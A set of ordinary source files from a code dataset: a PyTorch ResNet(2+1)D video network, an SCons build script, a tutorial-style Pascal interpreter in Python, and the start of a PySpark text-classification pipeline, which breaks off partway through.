conv3x1x1(in_planes, out_planes, stride=1, groups=1, dilation=1):\n return nn.Conv3d(\n in_planes,\n out_planes,\n kernel_size=(3, 1, 1),\n stride=(stride, 1, 1),\n padding=(dilation, 0, 0),\n groups=groups,\n bias=False,\n dilation=(dilation, 1, 1))\n\n\ndef conv1x1x1(in_planes, out_planes, stride=1):\n return nn.Conv3d(\n in_planes, out_planes, kernel_size=1, stride=stride, bias=False)\n\n\nclass BasicBlock(nn.Module):\n expansion = 1\n\n def __init__(self,\n inplanes,\n planes,\n stride=1,\n downsample=None,\n groups=1,\n base_width=64,\n dilation=1,\n norm_layer=None):\n super(BasicBlock, self).__init__()\n if norm_layer is None:\n norm_layer = nn.BatchNorm3d\n if groups != 1 or base_width != 64:\n raise ValueError(\n 'BasicBlock only supports groups=1 and base_width=64')\n if dilation > 1:\n raise NotImplementedError(\n 'Dilation > 1 not supported in BasicBlock')\n\n midplanes1 = (inplanes * planes * 3 * 3 * 3) // (\n inplanes * 3 * 3 + planes * 3)\n self.conv1_s = conv1x3x3(inplanes, midplanes1, stride)\n self.bn1_s = norm_layer(midplanes1)\n self.conv1_t = conv3x1x1(midplanes1, planes, stride)\n self.bn1_t = norm_layer(planes)\n\n midplanes2 = (planes * planes * 3 * 3 * 3) // (\n planes * 3 * 3 + planes * 3)\n self.conv2_s = conv1x3x3(planes, midplanes2)\n self.bn2_s = norm_layer(midplanes2)\n self.conv2_t = conv3x1x1(midplanes2, planes)\n self.bn2_t = norm_layer(planes)\n\n self.relu = nn.ReLU(inplace=True)\n self.downsample = downsample\n self.stride = stride\n\n def forward(self, x):\n identity = x\n\n out = self.conv1_s(x)\n out = self.bn1_s(out)\n out = self.relu(out)\n out = self.conv1_t(out)\n out = self.bn1_t(out)\n out = self.relu(out)\n\n out = self.conv2_s(out)\n out = self.bn2_s(out)\n out = self.relu(out)\n out = self.conv2_t(out)\n out = self.bn2_t(out)\n\n if self.downsample is not None:\n identity = self.downsample(x)\n\n out += identity\n out = self.relu(out)\n\n return out\n\n\nclass Bottleneck(nn.Module):\n expansion = 4\n\n def __init__(self,\n inplanes,\n planes,\n stride=1,\n downsample=None,\n groups=1,\n base_width=64,\n dilation=1,\n norm_layer=None):\n super(Bottleneck, self).__init__()\n if norm_layer is None:\n norm_layer = nn.BatchNorm3d\n width = int(planes * (base_width / 64.)) * groups\n\n self.conv1 = conv1x1x1(inplanes, width)\n self.bn1 = norm_layer(width)\n\n midplanes = (width * width * 3 * 3 * 3) // (width * 3 * 3 + width * 3)\n self.conv2_s = conv1x3x3(width, midplanes, stride, groups, dilation)\n self.bn2_s = norm_layer(midplanes)\n self.conv2_t = conv3x1x1(midplanes, width, stride, groups, dilation)\n self.bn2_t = norm_layer(width)\n\n self.conv3 = conv1x1x1(width, planes * self.expansion)\n self.bn3 = norm_layer(planes * self.expansion)\n\n self.relu = nn.ReLU(inplace=True)\n self.downsample = downsample\n self.stride = stride\n\n def forward(self, x):\n identity = x\n\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2_s(out)\n out = self.bn2_s(out)\n out = self.relu(out)\n out = self.conv2_t(out)\n out = self.bn2_t(out)\n out = self.relu(out)\n\n out = self.conv3(out)\n out = self.bn3(out)\n\n if self.downsample is not None:\n identity = self.downsample(x)\n\n out += identity\n out = self.relu(out)\n\n return out\n\n\nclass ResNet2p1d(nn.Module):\n\n def __init__(self,\n block,\n layers,\n num_classes=None,\n zero_init_residual=True,\n groups=1,\n width_per_group=64,\n replace_stride_with_dilation=None,\n dropout=0.5,\n inplanes=3,\n first_stride=2,\n norm_layer=None,\n last_pool=True):\n super(ResNet2p1d, self).__init__()\n if norm_layer is None:\n norm_layer = nn.BatchNorm3d\n if not last_pool and num_classes is not None:\n raise ValueError('num_classes should be None when last_pool=False')\n self._norm_layer = norm_layer\n self.first_stride = first_stride\n\n self.inplanes = 64\n self.dilation = 1\n if replace_stride_with_dilation is None:\n replace_stride_with_dilation = [False, False, False]\n if len(replace_stride_with_dilation) != 3:\n raise ValueError('replace_stride_with_dilation should be None '\n 'or a 3-element tuple, got {}'.format(\n replace_stride_with_dilation))\n self.groups = groups\n self.base_width = width_per_group\n\n midplanes = (3 * self.inplanes * 3 * 7 * 7) // (3 * 7 * 7\n + self.inplanes * 3)\n self.conv1_s = nn.Conv3d(\n inplanes,\n midplanes,\n kernel_size=(1, 7, 7),\n stride=(1, first_stride, first_stride),\n padding=(0, 3, 3),\n bias=False)\n self.bn1_s = norm_layer(midplanes)\n self.conv1_t = nn.Conv3d(\n midplanes,\n self.inplanes,\n kernel_size=(3, 1, 1),\n stride=(1, 1, 1),\n padding=(1, 0, 0),\n bias=False)\n self.bn1_t = norm_layer(self.inplanes)\n self.relu = nn.ReLU(inplace=True)\n self.maxpool = nn.MaxPool3d(\n kernel_size=(1, 3, 3), stride=(1, 2, 2), padding=(0, 1, 1))\n\n self.layer1 = self._make_layer(block, 64, layers[0])\n self.layer2 = self._make_layer(\n block,\n 128,\n layers[1],\n stride=2,\n dilate=replace_stride_with_dilation[0])\n self.layer3 = self._make_layer(\n block,\n 256,\n layers[2],\n stride=2,\n dilate=replace_stride_with_dilation[1])\n self.layer4 = self._make_layer(\n block,\n 512,\n layers[3],\n stride=2,\n dilate=replace_stride_with_dilation[2])\n self.avgpool = nn.AdaptiveAvgPool3d((1, 1, 1)) if last_pool else None\n if num_classes is None:\n self.dropout = None\n self.fc = None\n else:\n self.dropout = nn.Dropout(dropout)\n self.fc = nn.Linear(512 * block.expansion, num_classes)\n self.out_planes = 512 * block.expansion\n\n for m in self.modules():\n if isinstance(m, nn.Conv3d):\n nn.init.kaiming_normal_(\n m.weight, mode='fan_out', nonlinearity='relu')\n elif isinstance(m, (nn.BatchNorm3d, nn.GroupNorm)):\n nn.init.constant_(m.weight, 1)\n nn.init.constant_(m.bias, 0)\n\n if zero_init_residual:\n for m in self.modules():\n if isinstance(m, Bottleneck):\n nn.init.constant_(m.bn3.weight, 0)\n elif isinstance(m, BasicBlock):\n nn.init.constant_(m.bn2_t.weight, 0)\n\n def _make_layer(self, block, planes, blocks, stride=1, dilate=False):\n norm_layer = self._norm_layer\n downsample = None\n previous_dilation = self.dilation\n if dilate:\n self.dilation *= stride\n stride = 1\n if stride != 1 or self.inplanes != planes * block.expansion:\n downsample = nn.Sequential(\n conv1x1x1(self.inplanes, planes * block.expansion, stride),\n norm_layer(planes * block.expansion))\n\n layers = []\n layers.append(\n block(self.inplanes, planes, stride, downsample, self.groups,\n self.base_width, previous_dilation, norm_layer))\n self.inplanes = planes * block.expansion\n for _ in range(1, blocks):\n layers.append(\n block(\n self.inplanes,\n planes,\n groups=self.groups,\n base_width=self.base_width,\n dilation=self.dilation,\n norm_layer=norm_layer))\n\n return nn.Sequential(*layers)\n\n def forward(self, x):\n x = self.conv1_s(x)\n x = self.bn1_s(x)\n x = self.relu(x)\n x = self.conv1_t(x)\n x = self.bn1_t(x)\n x = self.relu(x)\n x = self.maxpool(x)\n\n x = self.layer1(x)\n x = self.layer2(x)\n x = self.layer3(x)\n x = self.layer4(x)\n\n if self.avgpool:\n x = self.avgpool(x)\n x = torch.flatten(x, 1)\n if self.dropout and self.fc:\n x = self.dropout(x)\n x = self.fc(x)\n\n return x\n\n\ndef resnet10_2p1d(**kwargs):\n return ResNet2p1d(BasicBlock, [1, 1, 1, 1], **kwargs)\n\n\ndef resnet18_2p1d(**kwargs):\n return ResNet2p1d(BasicBlock, [2, 2, 2, 2], **kwargs)\n\n\ndef resnet26_2p1d(**kwargs):\n return ResNet2p1d(Bottleneck, [2, 2, 2, 2], **kwargs)\n\n\ndef resnet34_2p1d(**kwargs):\n return ResNet2p1d(BasicBlock, [3, 4, 6, 3], **kwargs)\n\n\ndef resnet50_2p1d(**kwargs):\n return ResNet2p1d(Bottleneck, [3, 4, 6, 3], **kwargs)\n\n\ndef resnet101_2p1d(**kwargs):\n return ResNet2p1d(Bottleneck, [3, 4, 23, 3], **kwargs)\n\n\ndef resnet152_2p1d(**kwargs):\n return ResNet2p1d(Bottleneck, [3, 8, 36, 3], **kwargs)\n\n\ndef resnet200_2p1d(**kwargs):\n return ResNet2p1d(Bottleneck, [3, 24, 36, 3], **kwargs)\n","sub_path":"ai/modelscope/modelscope/models/cv/cmdssl_video_embedding/resnet2p1d.py","file_name":"resnet2p1d.py","file_ext":"py","file_size_in_byte":10785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"104249617","text":"Import('_default_env')\n\ndoktortest = Split(\"\"\"\n DoktorTest/AssemblyInfo.cs\n DoktorTest/DoktorTest.cs\n\"\"\")\n\nprogs = _default_env.CliProgram('DoktorTest', doktortest, CLILIBS=['mscorlib', 'System', 'OssCore', 'OssSysLib', 'OssControl', 'OssDoktor'])\n\nAlias('Lib', progs)\n\nAlias('Test', 'Lib')\n\nDefault('Test')\n","sub_path":"DoktorKinsky/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"635279335","text":"# code from https://ruslanspivak.com/lsbasi-part1/\n\nfrom collections import OrderedDict\n\n######\n# Lexer\n######\n(INTEGER, REAL, INTEGER_CONST, REAL_CONST, PLUS, MINUS, MUL, INTEGER_DIV, FLOAT_DIV, LPAREN, RPAREN, \nID, ASSIGN, BEGIN, END, SEMI, DOT, PROGRAM, VAR, COLON, COMMA, PROCEDURE, EOF) = (\n\t'INTEGER', 'REAL', 'INTEGER_CONST', 'REAL_CONST', 'PLUS', 'MINUS', 'MUL', 'INTEGER_DIV', 'FLOAT_DIV', '(', ')', \n\t'ID', 'ASSIGN', 'BEGIN', 'END', 'SEMI', 'DOT', 'PROGRAM', 'VAR', 'COLON', 'COMMA', 'PROCEDURE', 'EOF'\n)\n\nclass Token(object):\n\tdef __init__(self, type, value):\n\t\tself.type = type\n\t\tself.value = value\n\tdef __str__(self):\n\t\treturn 'Token({type}, {value})'.format(\n\t\t\ttype = self.type,\n\t\t\tvalue = repr(self.value)\n\t\t)\n\tdef __repr__(self):\n\t\treturn self.__str__()\n\nRESERVERD_KEYWORDS = {\n\t'PROGRAM': Token('PROGRAM', 'PROGRAM'),\n\t'VAR': Token('VAR', 'VAR'),\n\t'DIV': Token('INTEGER_DIV', 'DIV'),\n\t'INTEGER': Token('INTEGER', 'INTEGER'),\n\t'REAL': Token('REAL', 'REAL'),\n\t'BEGIN': Token('BEGIN', 'BEGIN'),\n\t'END': Token('END', 'END'),\n\t'PROCEDURE': Token('PROCEDURE', 'PROCEDURE'),\n}\n\nclass Lexer(object):\n\tdef __init__(self, text):\n\t\tself.text = text\n\t\tself.pos = 0\n\t\tself.current_char = self.text[self.pos]\n\t\tprint('EXPR: \\n' + text)\n\tdef error(self):\n\t\traise Exception('Invalid Character!')\n\tdef advance(self):\n\t\tself.pos += 1\n\t\tif self.pos > len(self.text) -1:\n\t\t\tself.current_char = None\n\t\telse:\n\t\t\tself.current_char = self.text[self.pos]\n\tdef peek(self):\n\t\tpeek_pos = self.pos + 1\n\t\tif peek_pos > len(self.text) - 1:\n\t\t\treturn None\n\t\telse:\n\t\t\treturn self.text[peek_pos]\n\tdef skip_whitespace(self):\n\t\twhile self.current_char is not None and self.current_char.isspace():\n\t\t\tself.advance()\n\tdef skip_comment(self):\n\t\twhile self.current_char != '}':\n\t\t\tself.advance()\n\t\tself.advance()\n\tdef number(self):\n\t\tresult = ''\n\t\twhile self.current_char is not None and self.current_char.isdigit():\n\t\t\tresult += self.current_char\n\t\t\tself.advance()\n\t\tif self.current_char == '.':\n\t\t\tresult += self.current_char\n\t\t\tself.advance()\n\t\t\twhile(\n\t\t\t\tself.current_char is not None and\n\t\t\t\tself.current_char.isdigit()\n\t\t\t):\n\t\t\t\tresult += self.current_char\n\t\t\t\tself.advance()\n\t\t\ttoken = Token('REAL_CONST', float(result))\n\t\telse:\n\t\t\ttoken = Token('INTEGER_CONST', int(result))\n\t\treturn token\n\tdef _id(self):\n\t\tresult = ''\n\t\twhile self.current_char is not None and self.current_char.isalnum():\n\t\t\tresult += self.current_char\n\t\t\tself.advance()\n\t\ttoken = RESERVERD_KEYWORDS.get(result, Token(ID, result))\n\t\treturn token\n\tdef get_next_token(self):\n\t\twhile self.current_char is not None:\n\t\t\t#print('CHAR: ' + self.current_char)\n\t\t\tif self.current_char.isspace():\n\t\t\t\tself.skip_whitespace()\n\t\t\t\t\n\t\t\tif self.current_char == '{':\n\t\t\t\tself.advance()\n\t\t\t\tself.skip_comment()\n\t\t\t\tcontinue\n\t\t\tif self.current_char.isalpha():\n\t\t\t\treturn self._id()\n\t\t\tif self.current_char.isdigit():\n\t\t\t\treturn self.number()\n\t\t\tif self.current_char == ',':\n\t\t\t\tself.advance()\n\t\t\t\treturn Token(COMMA, ',')\n\t\t\tif self.current_char == ':' and self.peek() == '=':\n\t\t\t\tself.advance()\n\t\t\t\tself.advance()\n\t\t\t\treturn Token(ASSIGN, ':=')\n\t\t\tif self.current_char == ':':\n\t\t\t\tself.advance()\n\t\t\t\treturn Token(COLON, ':')\n\t\t\tif self.current_char == ';':\n\t\t\t\tself.advance()\n\t\t\t\treturn Token(SEMI, ';')\n\t\t\tif self.current_char == '+':\n\t\t\t\tself.advance()\n\t\t\t\treturn Token(PLUS, '+')\n\t\t\tif self.current_char == '-':\n\t\t\t\tself.advance()\n\t\t\t\treturn Token(MINUS, '-')\n\t\t\tif self.current_char == '*':\n\t\t\t\tself.advance()\n\t\t\t\treturn Token(MUL, '*')\n\t\t\tif self.current_char == '/':\n\t\t\t\tself.advance()\n\t\t\t\treturn Token(FLOAT_DIV, '/')\n\t\t\tif self.current_char == '(':\n\t\t\t\tself.advance()\n\t\t\t\treturn Token(LPAREN, '(')\n\t\t\tif self.current_char == ')':\n\t\t\t\tself.advance()\n\t\t\t\treturn Token(RPAREN, ')')\n\t\t\tif self.current_char == '.':\n\t\t\t\tself.advance()\n\t\t\t\treturn Token(DOT, '.')\n\t\t\tself.error()\n\t\treturn Token(EOF, None)\n\n######\n# Parser\n######\nclass AST(object):\n\tpass\n\nclass UnaryOp(AST):\n\tdef __init__(self, op, expr):\n\t\tself.token = self.op = op\n\t\tself.expr = expr\nclass BinOp(AST):\n\tdef __init__(self, left, op, right):\n\t\tself.left = left\n\t\tself.token = self.op = op\n\t\tself.right = right\n\t\t\nclass Num(AST):\n\tdef __init__(self, token):\n\t\tself.token = token\n\t\tself.value = token.value\nclass Program(AST):\n\tdef __init__(self, name, block):\n\t\tself.name = name\n\t\tself.block = block\n\t\t\nclass Block(AST):\n\tdef __init__(self, declaratons, compound_statement):\n\t\tself.declaratons = declaratons\n\t\tself.compound_statement = compound_statement\n\nclass VarDecl(AST):\n\tdef __init__(self, var_node, type_node):\n\t\tself.var_node = var_node\n\t\tself.type_node = type_node\n\nclass ProcedureDecl(AST):\n\tdef __init__(self, proc_name, block_node):\n\t\tself.proc_name = proc_name\n\t\tself.block_node = block_node\n\t\t\nclass Type(AST):\n\tdef __init__(self, token):\n\t\tself.token = token\n\t\tself.value = token.value\n\nclass Compound(AST):\n\tdef __init__(self):\n\t\tself.children = []\n\t\t\nclass Assign(AST):\n\tdef __init__(self, left, op, right):\n\t\tself.left = left\n\t\tself.token = self.op = op\n\t\tself.right = right\n\nclass Var(AST):\n\tdef __init__(self, token):\n\t\tself.token = token\n\t\tself.value = token.value\n\nclass NoOp(AST):\n\tpass\n\t\nclass Parser(object):\n\tdef __init__(self, lexer):\n\t\tself.lexer = lexer\n\t\tself.current_token = self.lexer.get_next_token()\n\tdef error(self):\n\t\traise Exception('Invalid Syntax!')\n\tdef eat(self, token_type):\n\t\tprint('EAT: ' + str(self.current_token.value))\n\t\tif self.current_token.type == token_type:\n\t\t\tself.current_token = self.lexer.get_next_token()\n\t\telse:\n\t\t\tself.error()\n\tdef program(self):\n\t\t# program : PROGRAM varaible SEMI block DOT\n\t\tself.eat(PROGRAM)\n\t\tvar_node = self.varaible()\n\t\tprog_name = var_node.value\n\t\tself.eat(SEMI)\n\t\tblock_node = self.block()\n\t\tprogram_node = Program(prog_name, block_node)\n\t\tself.eat(DOT)\n\t\treturn program_node\n\tdef block(self):\n\t\t# block : declaratons compound_statement\n\t\tdeclaratons_nodes = self.declaratons()\n\t\tcompound_statement_node = self.compound_statement()\n\t\tnode = Block(declaratons_nodes, compound_statement_node)\n\t\treturn node\n\tdef declaratons(self):\n\t\t# declaratons : VAR (variable_declaration SEMI)+ | (PROCEDURE ID SEMI block SEMI)* | empty\n\t\tdeclaratons = []\n\t\tif self.current_token.type == VAR:\n\t\t\tself.eat(VAR)\n\t\t\twhile self.current_token.type == ID:\n\t\t\t\tvar_decl = self.variable_declaration()\n\t\t\t\tdeclaratons.extend(var_decl)\n\t\t\t\tself.eat(SEMI)\n\t\twhile self.current_token.type == PROCEDURE:\n\t\t\tself.eat(PROCEDURE)\n\t\t\tproc_name = self.current_token.value\n\t\t\tself.eat(ID)\n\t\t\tself.eat(SEMI)\n\t\t\tblock_node = self.block()\n\t\t\tproc_decl = ProcedureDecl(proc_name, block_node)\n\t\t\tdeclaratons.append(proc_decl)\n\t\t\tself.eat(SEMI)\n\t\treturn declaratons\n\tdef variable_declaration(self):\n\t\t# variable_declaration : ID (COMMA ID)* COLON type_spec\n\t\tvar_nodes = [Var(self.current_token)]\n\t\tself.eat(ID)\n\t\twhile self.current_token.type == COMMA:\n\t\t\tself.eat(COMMA)\n\t\t\tvar_nodes.append(Var(self.current_token))\n\t\t\tself.eat(ID)\n\t\tself.eat(COLON)\n\t\ttype_node = self.type_spec()\n\t\tvar_declarations = [\n\t\t\tVarDecl(var_node, type_node)\n\t\t\tfor var_node in var_nodes\n\t\t]\n\t\treturn var_declarations\n\tdef type_spec(self):\n\t\t# type_spec : INTEGER | REAL\n\t\ttoken = self.current_token\n\t\tif self.current_token.type == INTEGER:\n\t\t\tself.eat(INTEGER)\n\t\telse:\n\t\t\tself.eat(REAL)\n\t\tnode =Type(token)\n\t\treturn node\n\tdef compound_statement(self):\n\t\t# compound_statement : BEGIN statement_list END\n\t\tself.eat(BEGIN)\n\t\tnodes = self.statement_list()\n\t\tself.eat(END)\n\t\troot = Compound()\n\t\tfor node in nodes:\n\t\t\troot.children.append(node)\n\t\treturn root\n\tdef statement_list(self):\n\t\t#statement_list : statement | statement SEMI statement_list\n\t\tnode =self.statement()\n\t\tresults = [node]\n\t\twhile self.current_token.type == SEMI:\n\t\t\tself.eat(SEMI)\n\t\t\tresults.append(self.statement())\n\t\tif self.current_token.type == ID:\n\t\t\tself.error()\n\t\treturn results\n\tdef statement(self):\n\t\t#statement : compound_statement | assignment_statement | empty\n\t\tif self.current_token.type == BEGIN:\n\t\t\tnode = self.compound_statement()\n\t\telif self.current_token.type == ID:\n\t\t\tnode = self.assignment_statement()\n\t\telse:\n\t\t\tnode = self.empty()\n\t\treturn node\n\tdef assignment_statement(self):\n\t\t#assignment_statement : varaible ASSIGN expr\n\t\tleft = self.varaible()\n\t\ttoken = self.current_token\n\t\tself.eat(ASSIGN)\n\t\tright = self.expr()\n\t\tnode = Assign(left, token, right)\n\t\treturn node\n\tdef varaible(self):\n\t\t#varaible : ID\n\t\tnode = Var(self.current_token)\n\t\tself.eat(ID)\n\t\treturn node\n\tdef empty(self):\n\t\t#\n\t\treturn NoOp()\n\tdef factor(self):\n\t\t#factor : (PLUS | MINUS) factor | INTEGER_CONST | REAL_CONST | LPAREN expr RPAREN | varaible\n\t\ttoken = self.current_token\n\t\tif token.type == PLUS:\n\t\t\tself.eat(PLUS)\n\t\t\tnode = UnaryOp(token, self.factor())\n\t\t\treturn node\n\t\telif token.type == MINUS:\n\t\t\tself.eat(MINUS)\n\t\t\tnode = UnaryOp(token, self.factor())\n\t\t\treturn node\n\t\telif token.type == INTEGER_CONST:\n\t\t\tself.eat(INTEGER_CONST)\n\t\t\treturn Num(token)\n\t\telif token.type == REAL_CONST:\n\t\t\tself.eat(REAL_CONST)\n\t\t\treturn Num(token)\n\t\telif token.type == LPAREN:\n\t\t\tself.eat(LPAREN)\n\t\t\tnode = self.expr()\n\t\t\tself.eat(RPAREN)\n\t\t\treturn node\n\t\telse :\n\t\t\tnode = self.varaible()\n\t\t\treturn node\n\tdef term(self):\n\t\t#term : factor((MUL | INTEGER_DIV | FLOAT_DIV) factor)*\n\t\tnode = self.factor()\n\t\twhile self.current_token.type in (MUL, INTEGER_DIV, FLOAT_DIV):\n\t\t\ttoken = self.current_token\n\t\t\tif token.type == MUL:\n\t\t\t\tself.eat(MUL)\n\t\t\telif token.type == INTEGER_DIV:\n\t\t\t\tself.eat(INTEGER_DIV)\n\t\t\telif token.type == FLOAT_DIV:\n\t\t\t\tself.eat(FLOAT_DIV)\n\t\t\tnode = BinOp(left = node, op = token, right = self.factor())\n\t\treturn node\n\tdef expr(self):\n\t\t#expr : term((PLUS | MINUS) term)*\n\t\tnode = self.term()\n\t\twhile self.current_token.type in (PLUS, MINUS):\n\t\t\ttoken = self.current_token\n\t\t\tif token.type == PLUS:\n\t\t\t\tself.eat(PLUS)\n\t\t\telif token.type == MINUS:\n\t\t\t\tself.eat(MINUS)\n\t\t\tnode = BinOp(left = node, op = token, right = self.term())\n\t\treturn node\n\tdef parse(self):\n\t\tnode = self.program()\n\t\tif self.current_token.type != EOF:\n\t\t\tself.error()\n\t\t\t#print('EOF: ' + str(self.current_token.value))\n\t\treturn node\n\n######\n# AST visitor\n######\nclass NodeVisitor(object):\n\tdef visit(self, node):\n\t\tmethod_name = 'visit_' + type(node).__name__\n\t\tvisitor = getattr(self, method_name, self.generic_visit)\n\t\treturn visitor(node)\n\tdef generic_visit(self, node):\n\t\traise Exception('No visit_{} method'.format(type(node).__name__))\n\n######\n# SymbolTable\n######\nclass Symbol(object):\n\tdef __init__(self, name, type = None):\n\t\tself.name = name\n\t\tself.type = type\n\nclass BuiltinTypeSymbol(Symbol):\n\tdef __init__(self, name):\n\t\tsuper(BuiltinTypeSymbol, self).__init__(name)\n\tdef __str__(self):\n\t\treturn self.name\n\t__repr__ = __str__\n\t\nclass VarSymbol(Symbol):\n\tdef __init__(self, name, type):\n\t\tsuper(VarSymbol, self).__init__(name, type)\n\tdef __str__(self):\n\t\treturn '<{name}:{type}>'.format(name = self.name, type = self.type)\n\t__repr__ = __str__\n\nclass SymbolTable(object):\n\tdef __init__(self):\n\t\tself._symbols = OrderedDict()\n\t\tself._init_builtins()\n\tdef _init_builtins(self):\n\t\tself.define(BuiltinTypeSymbol('INTEGER'))\n\t\tself.define(BuiltinTypeSymbol('REAL'))\n\tdef __str__(self):\n\t\ts = 'Symbols: {symbols}'.format(\n\t\t\tsymbols = [value for value in self._symbols.values()]\n\t\t)\n\t\treturn s\n\t__repr__ = __str__\n\tdef define(self, symbol):\n\t\tprint('Define: %s' % symbol)\n\t\tself._symbols[symbol.name] = symbol\n\tdef lookup(self, name):\n\t\tprint('Lookup: %s' % name)\n\t\tsymbol = self._symbols.get(name)\n\t\treturn symbol\n\t\t\nclass SymbolTableBuilder(NodeVisitor):\n\tdef __init__(self):\n\t\tself.symtab = SymbolTable()\n\tdef visit_BinOp(self, node):\n\t\tself.visit(node.left)\n\t\tself.visit(node.right)\n\tdef visit_UnaryOp(self, node):\n\t\treturn self.visit(node.expr)\n\tdef visit_Num(self, node):\n\t\tpass\n\tdef visit_Program(self, node):\n\t\tself.visit(node.block)\n\tdef visit_Block(self, node):\n\t\tfor declaraton in node.declaratons:\n\t\t\tself.visit(declaraton)\n\t\tself.visit(node.compound_statement)\n\tdef visit_VarDecl(self, node):\n\t\ttype_name = node.type_node.value\n\t\ttype_symbol = self.symtab.lookup(type_name)\n\t\tvar_name = node.var_node.value\n\t\tvar_symble = VarSymbol(var_name, type_symbol)\n\t\tself.symtab.define(var_symble)\n\tdef visit_Compound(self, node):\n\t\tfor child in node.children:\n\t\t\tself.visit(child)\n\tdef visit_Assign(self, node):\n\t\tvar_name = node.left.value\n\t\tvar_symble = self.symtab.lookup(var_name)\n\t\tif var_symble is None:\n\t\t\traise NameError(repr(var_name))\n\t\tself.visit(node.right)\n\tdef visit_Var(self, node):\n\t\tvar_name = node.value\n\t\tvar_symble = self.symtab.lookup(var_name)\n\t\tif var_symble is None:\n\t\t\traise NameError(repr(var_name))\n\tdef visit_NoOp(self, node):\n\t\tpass\n\tdef visit_ProcedureDecl(self, node):\n\t\tpass\n\n######\n# Interpreter\n######\nclass Interpreter(NodeVisitor):\n\tdef __init__(self, tree):\n\t\tself.tree = tree\n\t\tself.GLOBAL_MEMORY = OrderedDict()\n\tdef visit_BinOp(self, node):\n\t\tif node.op.type == PLUS:\n\t\t\treturn self.visit(node.left) + self.visit(node.right)\n\t\telif node.op.type == MINUS:\n\t\t\treturn self.visit(node.left) - self.visit(node.right)\n\t\telif node.op.type == MUL:\n\t\t\treturn self.visit(node.left) * self.visit(node.right)\n\t\telif node.op.type == INTEGER_DIV:\n\t\t\treturn self.visit(node.left) // self.visit(node.right)\n\t\telif node.op.type == FLOAT_DIV:\n\t\t\treturn float(self.visit(node.left)) / float(self.visit(node.right))\n\tdef visit_UnaryOp(self, node):\n\t\top = node.op.type\n\t\tif op == PLUS:\n\t\t\treturn +self.visit(node.expr)\n\t\telif op == MINUS:\n\t\t\treturn -self.visit(node.expr)\n\tdef visit_Num(self, node):\n\t\treturn node.value\n\tdef visit_Program(self, node):\n\t\tself.visit(node.block)\n\tdef visit_Block(self, node):\n\t\tfor declaraton in node.declaratons:\n\t\t\tself.visit(declaraton)\n\t\tself.visit(node.compound_statement)\n\tdef visit_VarDecl(self, node):\n\t\t#\n\t\tpass\n\tdef visit_ProcedureDecl(self, node):\n\t\tpass\n\tdef visit_Type(self, node):\n\t\t#\n\t\tpass\n\tdef visit_Compound(self, node):\n\t\tfor child in node.children:\n\t\t\tself.visit(child)\n\tdef visit_Assign(self, node):\n\t\tvar_name = node.left.value\n\t\tvar_value = self.visit(node.right)\n\t\tself.GLOBAL_MEMORY[var_name] = var_value\n\tdef visit_Var(self, node):\n\t\tvar_name = node.value\n\t\tvar_value = self.GLOBAL_MEMORY.get(var_name)\n\t\treturn var_value\n\tdef visit_NoOp(self, node):\n\t\tpass\n\tdef interpret(self):\n\t\ttree = self.tree\n\t\tif tree is None:\n\t\t return ''\n\t\treturn self.visit(tree)\n\t\t\ndef main():\n\timport sys\n\ttext = open(sys.argv[1], 'r').read()\n\tlexer = Lexer(text)\n\tparser = Parser(lexer)\n\ttree = parser.parse()\n\t\n\tsymtab_builder = SymbolTableBuilder()\n\tsymtab_builder.visit(tree)\n\tprint('')\n\tprint('Symbol Table contents:')\n\tprint(symtab_builder.symtab)\n\t\n\tinterpreter = Interpreter(tree)\n\tresult = interpreter.interpret()\n\t\n\tprint('')\n\tprint('Run-time GLOBAL_MEMORY contents:')\n\tfor k, v in sorted(interpreter.GLOBAL_MEMORY.items()):\n\t\tprint('%s = %s' % (k, v))\n\t\t\nif __name__ == '__main__':\n\tmain()","sub_path":"Interpreter.py","file_name":"Interpreter.py","file_ext":"py","file_size_in_byte":14738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"465034294","text":"import Constants\nimport Logger\nimport pyspark as ps\nimport time\n\nfrom pyspark.ml import Pipeline, PipelineModel\nfrom pyspark.ml.classification import LogisticRegression, LogisticRegressionModel\nfrom pyspark.ml.evaluation import BinaryClassificationEvaluator\nfrom pyspark.ml.feature import HashingTF, IDF, Tokenizer, StringIndexer\nfrom pyspark.sql import SQLContext\n\n\ndef create_spark_context(log):\n try:\n conf = ps.SparkConf().setAll([('spark.executor.memory', '16g'), ('spark.driver.memory', '16g')])\n sc = ps.SparkContext(conf=conf)\n sql_c = SQLContext(sc)\n log.info(\"Created a Spark Context\")\n return sql_c, sc\n except ValueError as e:\n log.error(e)\n\n\ndef read_csv_to_df(log, sql_c, reading_format, read_header, infer_schema, data_path):\n log.info(\"Data has been read successfully.\")\n df = sql_c.read.format(reading_format).options(header=read_header, infer_schema=infer_schema).load(data_path)\n log.info(str(df.count()) + \" has been read.\")\n return df\n\n\ndef remove_na(log, df):\n log.info(\"NA's has been removed from the dataset.\")\n return df.dropna()\n\n\ndef split_data_frame(log, df, train_size, val_size, test_size, seed_value):\n log.info(\n \"Dataframe has been split into \" + str(train_size) + \",\" + str(val_size) + \",\" + str(\n test_size) + \" size for train, val and test\")\n return df.randomSplit([train_size, val_size, test_size], seed=seed_value)\n\n\ndef transform_data_set(log, tr_set, vl_set, tst_set, feature_column_name, target_column_name, number_of_features,\n document_frequency, pipleline_model_path):\n log.info(\"Tokenizing the feature column and output is written into words column\")\n tokenizer = Tokenizer(inputCol=feature_column_name, outputCol=\"words\")\n\n log.info(\"Hashing the words column and output is written into tf column\")\n hashtf = HashingTF(numFeatures=number_of_features, inputCol=\"words\", outputCol=\"tf\")\n\n log.info(\"IDF the tf column and output is written into features column\")\n idf = IDF(inputCol=\"tf\", outputCol=\"features\", minDocFreq=document_frequency)\n\n log.info(\"Labeling the target column and output is written into label column\")\n label_string_idx = StringIndexer(inputCol=target_column_name, outputCol=\"label\")\n\n log.info(\"Making all the above method into a pipeline\")\n pipeline = Pipeline(stages=[tokenizer, hashtf, idf, label_string_idx])\n\n log.info(\"Fit train, test and validation set on the created pipeline\")\n pipeline_fit = pipeline.fit(tr_set)\n pipeline_fit.save(pipleline_model_path)\n train_df = pipeline_fit.transform(tr_set)\n val_df = pipeline_fit.transform(vl_set)\n test_df = pipeline_fit.transform(tst_set)\n return train_df, val_df, test_df\n\n\ndef train_data_set(log, train_df, max_iter):\n 